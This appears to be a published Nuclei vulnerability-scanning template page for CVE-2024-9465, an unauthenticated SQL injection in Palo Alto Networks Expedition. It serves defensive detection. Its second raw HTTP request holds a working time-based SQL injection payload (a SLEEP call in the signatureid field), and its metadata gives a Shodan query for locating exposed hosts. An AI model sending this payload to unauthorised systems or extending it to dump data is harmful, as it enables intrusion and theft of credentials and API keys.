Palo Alto Expedition - SQL Injection

ID: CVE-2024-9465

Severity: high

Author: DhiyaneshDK

Tags: time-based-sqli,cve,cve2024,palo-alto,sqli,kev

Description

An SQL injection vulnerability in Palo Alto Networks Expedition allows an unauthenticated attacker to reveal Expedition database contents, such as password hashes, usernames, device configurations, and device API keys. With this, attackers can also create and read arbitrary files on the Expedition system.

YAML Source

id: CVE-2024-9465

info:
  name: Palo Alto Expedition - SQL Injection
  author: DhiyaneshDK
  severity: high
  description: |
    An SQL injection vulnerability in Palo Alto Networks Expedition allows an unauthenticated attacker to reveal Expedition database contents, such as password hashes, usernames, device configurations, and device API keys. With this, attackers can also create and read arbitrary files on the Expedition system.
  reference:
    - https://security.paloaltonetworks.com/PAN-SA-2024-0010
    - https://github.com/horizon3ai/CVE-2024-9465/tree/main
    - https://www.horizon3.ai/attack-research/palo-alto-expedition-from-n-day-to-full-compromise/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-9465
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
    cvss-score: 8.2
    cve-id: CVE-2024-9465
    cwe-id: CWE-89
    epss-score: 0.00043
    epss-percentile: 0.09688
  metadata:
    verified: true
    max-request: 2
    vendor: paloaltonetworks
    product: expedition
    shodan-query: http.favicon.hash:1499876150
  tags: time-based-sqli,cve,cve2024,palo-alto,sqli,kev

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /bin/configurations/parsers/Checkpoint/CHECKPOINT.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=get&type=existing_ruleBases&project=pandbRBAC

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "ruleBasesNames")'
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 20s
        POST /bin/configurations/parsers/Checkpoint/CHECKPOINT.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=import&type=test&project=pandbRBAC&signatureid=1%20AND%20(SELECT%201234%20FROM%20(SELECT(SLEEP(6)))test)

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022100d3301e8f51b09553cc4d63786375562aef3686e6ec1e26d6b1976ad7746c9d4402200103ff75bf9ec9ccf25b185b5fa560d312688bd950530f717fc250050a335f65:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-9465.yaml"

View on Github